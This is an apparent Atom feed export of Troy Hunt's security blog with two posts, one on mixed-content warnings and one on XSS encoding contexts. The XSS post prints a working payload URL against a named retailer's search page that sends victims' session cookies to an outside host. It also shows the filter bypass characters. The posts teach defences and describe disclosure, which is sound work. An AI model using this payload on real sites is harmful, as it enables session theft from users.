<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DU8FQ30zeip7ImA9WhFTGEQ.&quot;"><id>tag:blogger.com,1999:blog-3977663544337573923</id><updated>2013-06-11T06:56:52.382+10:00</updated><category term="Windows Mobile" /><category term="Visual Studio" /><category term="Twitter" /><category term="Gootkit" /><category term="MVC" /><category term="Performance" /><category term="Personal Development" /><category term="China" /><category term="StillAlive" /><category term="Standards" /><category term="SQL Injection" /><category term="Design Utopia" /><category term="SQL Server" /><category term="StatSVN" /><category term="Career Development" /><category term="Windows" /><category term="Security" /><category term="Apple" /><category term="Scam" /><category term="Azure" /><category term="1Password" /><category term="NDepend" /><category term="5 Minute Wonder" /><category term="SQL Compare" /><category term="OWASP" /><category term="Backup" /><category term="SQL Prompt" /><category term="SQL Data Generator" /><category term="Travel" /><category term="LinkedIn" /><category term="FxCop" /><category term="Conference" /><category term="Netsparker" /><category term="Passwords" /><category term="SQL Test" /><category term="Product Review" /><category term="SSL" /><category term="Facebook" /><category term="SQL Source Control" /><category term="Cloud" /><category term="K2" /><category term="Mobile" /><category term="ASafaWeb" /><category term="Continuous Integration" /><category term="Subversion" /><category term="Red Gate" /><category term="Online Identity" /><category term="SharePoint" /><category term="UX" /><category term="Corporate" /><category term="MVP" /><category term="WCSA" /><category term="Code Quality" /><category term="Source Control Management" /><category term="MSBuild" /><category term="Blogger" /><category term="IIS" /><category term="AppHarbor" /><category term="SQL Search" /><category term="Bing" /><category term="ReSharper" /><category term="iPhone" /><category term="DotNetNuke" /><category term="Database" /><category term="TeamCity" /><category term="Enterprise Software Platform" /><category term="Mozy" /><category term="Web Deploy" /><category term="SQL Data Compare" /><category term="People Management" /><category term="Internet Explorer" /><category term="Software Quality" /><category term="XSS" /><category term="elmah" /><category term="Entity Framework" /><category term=".NET" /><category term="Speaking" /><category term="Media" /><category term="Silverlight" /><title type="text">Troy Hunt's Blog</title><subtitle type="html">Observations, musings and conjecture about the world of software and technology</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://www.troyhunt.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://www.troyhunt.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default?start-index=11&amp;max-results=10&amp;redirect=false&amp;v=2" /><author><name>Troy Hunt</name><uri>https://plus.google.com/111846329802076778489</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-r4_CjHr7f7Q/AAAAAAAAAAI/AAAAAAAAEiM/0rQBorSp1ho/s512-c/photo.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>195</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>10</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/TroyHunt" /><feedburner:info uri="troyhunt" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>-33.824008</geo:lat><geo:long>151.251244</geo:long><link rel="license" type="text/html" href="http://creativecommons.org/licenses/by/3.0/" /><feedburner:emailServiceId>TroyHunt</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><entry gd:etag="W/&quot;DUYHRHwzeyp7ImA9WhFTGEQ.&quot;"><id>tag:blogger.com,1999:blog-3977663544337573923.post-603659325867813944</id><published>2013-06-11T06:45:00.001+10:00</published><updated>2013-06-11T06:45:35.283+10:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-06-11T06:45:35.283+10:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SSL" /><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><title>Understanding the risk of mixed content warnings</title><content type="html">&lt;p&gt;Ever see one of these?&lt;/p&gt; &lt;p&gt;&lt;img width="456" height="169" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="IE8 mixed content warning" src="http://lh4.ggpht.com/-HNEehdDcnn4/UbY66rVDvoI/AAAAAAAAFZw/Iy-mb291COA/image%25255B2%25255D.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Or these?&lt;/p&gt; &lt;p&gt;&lt;img width="668" height="50" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="IE10 mixed content warning" src="http://lh3.ggpht.com/-JU0V1DWCr68/UbY67ArIaFI/AAAAAAAAFZ4/fRlB9-lZoEM/image%25255B5%25255D.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Or maybe this one?&lt;/p&gt; &lt;p&gt;&lt;img width="270" height="106" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Chrome mixed content warning" src="http://lh4.ggpht.com/-MVQqXSXTAR0/UbY67V140RI/AAAAAAAAFaA/wlRpn5YDjwc/image%25255B8%25255D.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;It means something is wrong with the website – &lt;em&gt;very wrong&lt;/em&gt; – yet somehow we seem to keep building websites that do this. The problem, as you’ll see in the video below, is that it jeopardises the security of traffic going backwards and forwards over what otherwise appears to be a secure site, at least in terms of implementing SSL. This can lead to issues such as the theft of identity data, potentially including such personal information as social security numbers. Fortunately there’s a channel to report potentially fraudulent activity except that, well, this video explains it best:&lt;/p&gt;&lt;iframe width="100%" height="480" src="http://www.youtube.com/embed/CSmacMZ0xZo?feature=player_embedded" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;a name='more'&gt;&lt;/a&gt; &lt;p&gt;Of course it’s ironic that it’s the Social Security Administration that’s made a bit of a botch of this but it’s an all too familiar scenario. &lt;a href="http://www.troyhunt.com/2012/07/lessons-in-website-security-anti.html"&gt;Tesco did it&lt;/a&gt;, &lt;a href="http://www.troyhunt.com/2013/05/why-i-am-worlds-greatest-lover-and.html"&gt;so did Versa Lift&lt;/a&gt;, &lt;a href="http://www.troyhunt.com/2013/04/5-ways-to-implement-https-in.html"&gt;so did Top CashBack&lt;/a&gt; and a heap of others I haven’t previously written about. It’s rampant.&lt;/p&gt; &lt;p&gt;That’s the risk covered, let’s focus on the fixes and they’re all dead easy:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Embed external content explicitly via the HTTPS scheme. If you’re only serving the page over HTTPS anyway then it ensures no slip ups.&lt;/li&gt; &lt;li&gt;Use a protocol relative URL or in other words, embed resources such as the jQuery file in the example above as //ajax.googleapis.com/… Yes, I know it looks weird but it works and it means when the page is loaded over HTTP then the resource will be requested over HTTP. Load the page over HTTPS and the resource embeds over HTTPS.&lt;/li&gt; &lt;li&gt;Test your damn web pages! No seriously, this is a fundamentally basic flaw and as soon as you load the page most browsers will start complaining. Have we – even us developers – become so desensitised to security warnings that we totally ignore them?!&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;For the curious, as I mention in the video this demonstration was achieved by mounting a man in the middle attack at the proxy level. I used &lt;a href="http://fiddler2.com/"&gt;Fiddler&lt;/a&gt; as the proxy and &lt;a href="http://fiddler2.com/documentation/KnowledgeBase/FiddlerScript/ModifyRequestOrResponse"&gt;Fiddler Script&lt;/a&gt; to modify the jQuery file in the OnBeforeResponse event. Whilst all this occurred within my PC, it demonstrates the alibility for it to happen at a proxy server anywhere – or at the internet gateway of your local cafe, or elsewhere in the ISP, or via a &lt;a href="http://www.enigmacurry.com/category/diy/"&gt;wiretap&lt;/a&gt; on an enthernet cable or &lt;a href="http://www.troyhunt.com/2013/04/the-beginners-guide-to-breaking-website.html"&gt;as I’ve shown recently with the Pineapple&lt;/a&gt;, via a rogue wireless access point the victim is connected to, possibly even without their knowledge.&lt;/p&gt; &lt;p&gt;Now as with my previous video on &lt;a href="http://www.troyhunt.com/2013/05/your-login-form-posts-to-https-but-you.html"&gt;the risk of loading login forms over HTTP&lt;/a&gt;, many people will ask “Is this really a likely risk?” In fact that’s just &lt;a href="https://twitter.com/paulswail/status/342836543855144960"&gt;the discussion I had with Rob Conery&lt;/a&gt; after the aforementioned post as even &lt;a href="http://tekpub.com/"&gt;TekPub&lt;/a&gt; follows this pattern. I look at it like this: you implement SSL primarily because you’re concerned about the risk of someone intercepting your traffic. Assuming you acknowledge – and attempt to protect against – this risk, you accept that all the HTTP components of the communication remain vulnerable ergo you need to protect against the SSL anti-patterns mentioned here.&lt;/p&gt;  &lt;img src="http://feeds.feedburner.com/~r/TroyHunt/~4/pczeDYOJ1KU" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/603659325867813944?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/603659325867813944?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TroyHunt/~3/pczeDYOJ1KU/understanding-risk-of-mixed-content.html" title="Understanding the risk of mixed content warnings" /><author><name>Troy Hunt</name><uri>https://plus.google.com/111846329802076778489</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-r4_CjHr7f7Q/AAAAAAAAAAI/AAAAAAAAEiM/0rQBorSp1ho/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh4.ggpht.com/-HNEehdDcnn4/UbY66rVDvoI/AAAAAAAAFZw/Iy-mb291COA/s72-c/image%25255B2%25255D.png?imgmax=800" height="72" width="72" /><feedburner:origLink>http://www.troyhunt.com/2013/06/understanding-risk-of-mixed-content.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkACQHcycCp7ImA9WhBaGEg.&quot;"><id>tag:blogger.com,1999:blog-3977663544337573923.post-5618788053731845060</id><published>2013-05-30T06:19:00.001+10:00</published><updated>2013-05-30T06:19:21.998+10:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-05-30T06:19:21.998+10:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="XSS" /><title>Understanding XSS – input sanitisation semantics and output encoding contexts</title><content type="html">&lt;p&gt;Cross site scripting (henceforth referred to as XSS) is one of those attacks that’s both extremely prevalent (remember, it’s number 2 on &lt;a href="http://www.troyhunt.com/2010/05/owasp-top-10-for-net-developers-part-2.html"&gt;the OWASP Top 10&lt;/a&gt;) and frequently misunderstood. You’ll very often see &lt;em&gt;some&lt;/em&gt; attempt at mitigating the risk but then find it’s easily circumvented because the developers weren’t fully aware of the attack vectors.&lt;/p&gt; &lt;p&gt;Last week someone flicked me over a great example of this after having read my previous post &lt;a href="http://www.troyhunt.com/2012/07/heres-why-we-keep-getting-hacked-clear.html"&gt;Here’s why we keep getting hacked – clear and present Billabong failures&lt;/a&gt;. In that post I pointed out the ease with which you could decorate Billabong’s registration page with the beautiful Miranda Kerr and a slightly stoned looking Bugs Bunny. In this post here, the ramifications of getting XSS wrong means stealing someone’s session and pulling out their personal details, all because of this:&lt;/p&gt; &lt;p&gt;&lt;img width="866" height="534" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Stealing Billabong cookies" src="http://lh3.ggpht.com/-HQJEtHP7vlU/UaZit9xh1KI/AAAAAAAAFYo/Zs_aoCI6mN4/image12.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;I’ll come back to that, let’s first go back to the title and focus on input sanitisation and output encoding contexts. If XSS is an entirely new concept to you, start by taking a look at &lt;a href="http://www.troyhunt.com/2010/05/owasp-top-10-for-net-developers-part-2.html"&gt;my post on it here&lt;/a&gt; then come back to this one.&lt;/p&gt;&lt;a name='more'&gt;&lt;/a&gt; &lt;h4&gt;Sanitising user input&lt;/h4&gt; &lt;p&gt;The theory goes like this: expect any untrusted data to be malicious. What’s untrusted data? Anything that originates from outside the system and you don’t have absolute control over so that includes form data, query strings, cookies, other request headers, data from &lt;em&gt;other&lt;/em&gt; systems (i.e. from web services) and basically anything that you can’t be 100% confident doesn’t contain evil things.&lt;/p&gt; &lt;p&gt;Evil things can be SQL injection, malicious files, attempts to traverse internal directory structures or XSS payloads. So what do you do about untrusted data? You try and filter it out and there are two ways to approach this:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;Blacklist:&lt;/strong&gt; You describe everything you know is &lt;em&gt;bad&lt;/em&gt;, for example you don’t allow a &amp;lt;script&amp;gt; tag or quotes. The trick here is that you have to comprehensively come up with everything that you think might be bad and add it to the blacklist. If untrusted data contains one of these bad patterns, you reject it.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Whitelist:&lt;/strong&gt; You describe everything you know is &lt;em&gt;good&lt;/em&gt;, for example letters and numbers. The trick here is that you have to comprehensively come up with everything that you think might be legitimately provided by a user and allow it. If untrusted data is not entirely made up from patterns in the whitelist, you reject it.&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Whitelists are almost always preferable because they’re very explicit; only describing what you know to be good is a very discrete way of handling untrusted data. The problem with blacklists is that you don’t know what you don’t know. For example, you decide that double quotes are evil as they could be used to break out of an HTML attribute but later on realise that angle brackets could do the same thing in some browsers even though the HTML would be malformed. Or an entirely new attack vector raises its head.&lt;/p&gt; &lt;p&gt;Whitelists can be &lt;em&gt;very&lt;/em&gt; simple, for example if you expect an integer or a GUID for an ID it’s very simple to typecast it and ensure it complies to that pattern. Likewise, a pattern such as a URL or an email address can be assessed against a regular expression rather than just accepting whatever the user provides. Things like people’s names are a little harder (many an Irishman has been rejected by sites that disallow single quotes), but there is much discussion and many examples of regexes that facilitate natural language characters and punctuation. Of course they also need to be conscious of things like non-Latin characters but again, this is an often held discussion with many examples of how to allow the good stuff while keeping out the bad stuff.&lt;/p&gt; &lt;p&gt;So let’s get back to Billabong and look at sanitisation. They follow a pretty tried and (kind of) trusted pattern of repeating the search term in the URL so that when you search for something like “shirt”, you see this:&lt;/p&gt; &lt;p&gt;&lt;img width="650" height="400" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Search term reflected in page body" src="http://lh6.ggpht.com/-dX-eaItsbvk/UaZiumJFu4I/AAAAAAAAFYw/fW6s0AG05F0/image15.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;However, search for something like “&amp;lt;script&amp;gt;” and you’ll get this:&lt;/p&gt; &lt;p&gt;&lt;img width="650" height="198" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Search for &amp;lt;script&amp;gt; rejected by input sanitisation" src="http://lh6.ggpht.com/-ktsqf97wKBY/UaZivY8OYVI/AAAAAAAAFY4/D3_dYJroc90/image18.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Clearly there’s some sanitisation going on here, it’s just a question of whether it’s sufficient. If we modify that slightly we’ll see that if the leading angle bracket is dropped then the search goes through just fine:&lt;/p&gt; &lt;p&gt;&lt;img width="650" height="320" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Search for script&amp;gt; is allowed" src="http://lh5.ggpht.com/-4s4wxEIS-zI/UaZiv5D_WSI/AAAAAAAAFZA/tUhk7Xcs0-s/image21.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;But hang on – why allow a greater than but not a less than? It’s starting to look like tag-blacklisting which per the definition above, is always going to be a bit dodgy. By process of elimination it’s easy to discover which characters are allowed through and beyond the obvious alphanumeric ones, they include &lt;strong&gt;:/\’;”%.?&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;img width="650" height="320" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="A successful search for the characters :/\&amp;rsquo;;&amp;rdquo;%.?" src="http://lh6.ggpht.com/-cQ5ZuU2sDuM/UaZiwjAFipI/AAAAAAAAFZI/I7JWkkQUJ7I/image24.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Some of those are punctuation which you might find in a product name someone would legitimately search for, but probably not characters like a double quote, a semicolon or a percent. Perhaps there are edge cases, but as we’re about to see, it’s the sort of thing you want to have a genuine need for before using.&lt;/p&gt; &lt;h4&gt;Output encoding contexts&lt;/h4&gt; &lt;p&gt;If you’re reading this, chances are you know what HTML markup looks like. For example, a paragraph tag is represented in markup as &amp;lt;p&amp;gt; (this is painfully obvious but bear with me). Thing is though, if you wanted to render that tag into the browser – just like I have here – then the actual markup is &amp;amp;lt;p&amp;amp;gt; where the angle brackets are represented by HTML escape characters. If they weren’t escaped then you’d literally end up with a paragraph tag in the markup and it wouldn’t be visible in the browser.&lt;/p&gt; &lt;p&gt;Let’s go back to Billabong and take a look at the lifecycle of the untrusted data that is the search term. Firstly, it’s actually only rendered into the source code in one location and that’s in JavaScript. When we searched for “shirt”, it ended up in this script block (see the second line):&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: white; color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;script &lt;/span&gt;&lt;span style="background: white; color: red"&gt;type&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="text/javascript"&amp;gt;
  var &lt;/span&gt;&lt;span style="background: white; color: black"&gt;keyword = &lt;/span&gt;&lt;span style="background: white; color: #a31515"&gt;'shirt'&lt;/span&gt;&lt;span style="background: white; color: black"&gt;;
  &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;var &lt;/span&gt;&lt;span style="background: white; color: black"&gt;ProductSquareDefault = &lt;/span&gt;&lt;span style="background: white; color: #a31515"&gt;'/images/placeholder-{0}.jpg'&lt;/span&gt;&lt;span style="background: white; color: black"&gt;;
  &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;var &lt;/span&gt;&lt;span style="background: white; color: black"&gt;quantityMin = 1;
  &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;var &lt;/span&gt;&lt;span style="background: white; color: black"&gt;showOutOfStock = &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;false&lt;/span&gt;&lt;span style="background: white; color: black"&gt;;
  &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;var &lt;/span&gt;&lt;span style="background: white; color: black"&gt;showProductsWithImageOnly = &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;true&lt;/span&gt;&lt;span style="background: white; color: black"&gt;;
  &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;var &lt;/span&gt;&lt;span style="background: white; color: black"&gt;discount = &lt;/span&gt;&lt;span style="background: white; color: blue"&gt;null&lt;/span&gt;&lt;span style="background: white; color: black"&gt;;
&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;script&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;It then got sent off to an API in the query string: &lt;a title="https://au.shop.billabong.com/api/product/GetFiltersBySearchTerm?keyword=shirt&amp;amp;showSaleOnly=false
" href="https://au.shop.billabong.com/api/product/GetFiltersBySearchTerm?keyword=shirt&amp;amp;showSaleOnly=false"&gt;https://au.shop.billabong.com/api/product/GetFiltersBySearchTerm?keyword=shirt&amp;amp;showSaleOnly=false&lt;br&gt;&lt;/a&gt;
&lt;p&gt;This API returns a JSON response with the results needed to build up the categories on the left under the search box (“Collections”, “Men”, “Women”, etc.) and then another API is called with the term in the query string again: &lt;a href="https://au.shop.billabong.com/api/product/Search?filters=&amp;amp;keyword=shirt&amp;amp;showSaleOnly=false&amp;amp;buildLinks=true"&gt;https://au.shop.billabong.com/api/product/Search?filters=&amp;amp;keyword=shirt&amp;amp;showSaleOnly=false&amp;amp;buildLinks=true&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This then returns a &lt;em&gt;whopping&lt;/em&gt; big JSON response of nearly 300kb (gzip, people!) with the individual results. All of this is orchestrated by a JavaScript file called &lt;a href="https://au.shop.billabong.com/js/pages/search/search.js"&gt;search.js&lt;/a&gt; (minification, people!) which includes this piece of jQuery syntax:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: white; color: black"&gt;$(&lt;/span&gt;&lt;span style="background: white; color: #a31515"&gt;'.search-form .searchkwd'&lt;/span&gt;&lt;span style="background: white; color: black"&gt;).val(keyword);&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;The important thing in the context of output encoding is that this then sets the search term into the text box using the val() method in jQuery. This all happens in the DOM so there isn’t the same opportunity to exploit an XSS risk as if it was just reflected directly into the markup in the same way that we often see search features implemented. Yet there remains a risk…&lt;/p&gt;
&lt;p&gt;Earlier we saw the word “shirt” appear in the JavaScript block which raises the question: is there any output encoding happening here? Let’s check by going back to one of the earlier searches which was for “script&amp;gt;”. Here’s what we see:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: white; color: blue"&gt;var &lt;/span&gt;&lt;span style="background: white; color: black"&gt;keyword = &lt;/span&gt;&lt;span style="background: white; color: #a31515"&gt;'script&amp;gt;'&lt;/span&gt;&lt;span style="background: white; color: black"&gt;;&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;This is where the problem begins because there’s no encoding happening. Earlier on we talked about a greater than sign encoding to &amp;amp;gt; in HTML, what you have to remember is that in JavaScript it’s a totally different syntax and what you need there is \x3c or in other words, this is what the script &lt;em&gt;should &lt;/em&gt;look like:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: white; color: blue"&gt;var &lt;/span&gt;&lt;span style="background: white; color: black"&gt;keyword = &lt;/span&gt;&lt;span style="background: white; color: #a31515"&gt;'script\x3c'&lt;/span&gt;&lt;span style="background: white; color: black"&gt;;&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;That’s now enough to establish there’s an exploitable risk on the site, let’s look at how that might happen.&lt;/p&gt;
&lt;h4&gt;Exploiting unsanitised data with unencoded output&lt;/h4&gt;
&lt;p&gt;Remembering that the character &lt;strong&gt;:/\’;”%.?&lt;/strong&gt; are all allowed through the sanitisation and that it looks like they’ll happily be rendered as-is to the JavaScript context, the question now becomes “what can we do with this”? This a site that can be authenticated to and given that authenticated sessions on websites are almost always persisted by authentication cookies, let’s take a look at those. Of course there is a native browser defence against accessing cookies on the client side cookies and I wrote about it recently in &lt;a href="http://www.troyhunt.com/2013/03/c-is-for-cookie-h-is-for-hacker.html"&gt;C is for cookie, H is for hacker – understanding HTTP only and Secure cookies&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That native defence is the HttpOnly cookie and when a cookie is flagged as such, it can’t be grabbed by JavaScript. However, here are Billabong’s cookies:&lt;/p&gt;
&lt;p&gt;&lt;img width="688" height="369" title="image" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="image" src="http://lh5.ggpht.com/-LAFGSnIMJa0/UaZixGVC22I/AAAAAAAAFZQ/0rL3kL8vyew/image27.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;There is only one HttpOnly cookie and it’s the ASP.NET_SessionId which is HttpOnly by default. Given this is an ASP.NET app it’s also worth pointing out that were this site to be using the framework’s implementation of forms authentication we’d see a .ASPXAUTH cookie for persisting the authenticated session and it &lt;em&gt;would&lt;/em&gt; be flagged as HttpOnly. Instead we see the highlighted CustomerSession cookie which is all that’s needed to steal the session – and it’s not HttpOnly. This is &lt;em&gt;precisely&lt;/em&gt; why you’ll often hear people (myself included) say how it important it is to use existing, proven security implementations.&lt;/p&gt;
&lt;p&gt;So that tells us enough to know that there’s something useful to be gained by grabbing cookies. Get that from a logged in user and you can become them. Let’s try this URL: &lt;a title="https://au.shop.billabong.com/search?keyword=\';location.href=&amp;quot;http://hackyourself.troyhunt.com/Cookies/?c=&amp;quot;%2BencodeURIComponent(document.cookie);//" href="https://au.shop.billabong.com/search?keyword=\';location.href=&amp;quot;http://hackyourself.troyhunt.com/Cookies/?c=&amp;quot;%2BencodeURIComponent(document.cookie);//"&gt;https://au.shop.billabong.com/search?keyword=\';location.href="http://hackyourself.troyhunt.com/Cookies/?c="%2BencodeURIComponent(document.cookie);//&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You may be able to guess what’s in there but it makes a lot more sense when you see it rendered – without any output encoding – to the source of the page:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: white; color: blue"&gt;var &lt;/span&gt;&lt;span style="background: white; color: black"&gt;keyword = &lt;/span&gt;&lt;span style="background: white; color: #a31515"&gt;'\''&lt;/span&gt;&lt;span style="background: white; color: black"&gt;; location.href = &lt;/span&gt;&lt;span style="background: white; color: #a31515"&gt;"http://hackyourself.troyhunt.com/Cookies/?c=" &lt;/span&gt;&lt;span style="background: white; color: black"&gt;+ encodeURIComponent(document.cookie);&lt;/span&gt;&lt;span style="background: white; color: green"&gt;//';&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;Make sense now? It breaks down into three parts:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Close off the keyword variable assignment and terminate the statement.&lt;/li&gt;
&lt;li&gt;Redirect the browser to my website along with all the URL encoded cookies that the browser can access (anything not flagged as HttpOnly).&lt;/li&gt;
&lt;li&gt;Comment out the remaining statement (this is the characters normally used to close off the keyword string and terminate the statement).&lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;As a result of this, I now have your cookies and that includes your session ID:&lt;/p&gt;
&lt;p&gt;&lt;img width="866" height="534" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Stealing Billabong cookies" src="http://lh4.ggpht.com/-QFj9UGnEAXI/UaZix9ZiQzI/AAAAAAAAFZY/D7g_pzhNElA/image31.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;Of course I (or an attacker) need to be able to get a victim to follow a link with the XSS payload in it &lt;em&gt;and&lt;/em&gt; make sure it’s a victim that’s actually logged into Billabong at the time, but that’s precisely why we have all the defences discussed above.&lt;/p&gt;
&lt;h4&gt;Somebody didn’t hack themselves first…&lt;/h4&gt;
&lt;p&gt;This is precisely the sort of thing I was talking about the other day when I wrote &lt;a href="http://www.troyhunt.com/2013/05/hack-yourself-first-how-to-go-on.html"&gt;Hack yourself first – how to go on the offence before online attackers do&lt;/a&gt;. Here we have three ridiculously simple risks that anyone can identify remotely (and someone obviously did):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Insufficient untrusted data sanitisation&lt;/li&gt;
&lt;li&gt;No output encoding whatsoever&lt;/li&gt;
&lt;li&gt;Auth cookie not flagged as HttpOnly&lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;This is a really good example of how multiple independent risks can be chained together to create a single exploit. It also illustrates why each of those risks, whilst they might seem small and insignificant in isolation, are actually extremely important. Of course it’s entirely possible the developers weren’t aware of these and didn’t know what to look for in the first place, indeed that’s why I wrote the aforementioned post on hacking yourself and will be talking much, much more about this in the future. I thought this was a great example why.&lt;/p&gt;
&lt;h4&gt;Disclosure&lt;/h4&gt;
&lt;p&gt;This week I wrote about &lt;a href="http://www.troyhunt.com/2013/05/the-responsibility-of-public-disclosure.html"&gt;The responsibility of public disclosure&lt;/a&gt; and the very disappointing responses I often have when doing my darndest to privately reach out to the owners of at-risk websites. Conversely, disclosures that went public straight away and got press resulted in very swift action and benefited those at risk and those who could do well to learn from the experience (namely other developers). I then laid out what IMHO are very practical, sensible guidelines I follow when writing about any risk.&lt;/p&gt;
&lt;p&gt;In this case, it’s hardly a smoking gun and not something you can go out and do immediate damage with, it’s certainly not a Black and Decker case where there are public logs with user credentials in them. I reached out to Billabong via twitter (yes, it’s a manned account) three times, firstly &lt;a href="https://twitter.com/troyhunt/status/338437306077810688"&gt;on Sunday&lt;/a&gt; and got no response then &lt;a href="https://twitter.com/troyhunt/status/339148328078024705"&gt;on Tuesday&lt;/a&gt; then again &lt;a href="https://twitter.com/troyhunt/status/339536663380381696"&gt;on Wednesday&lt;/a&gt;. No response. Zip. Nada. Again.&lt;/p&gt;
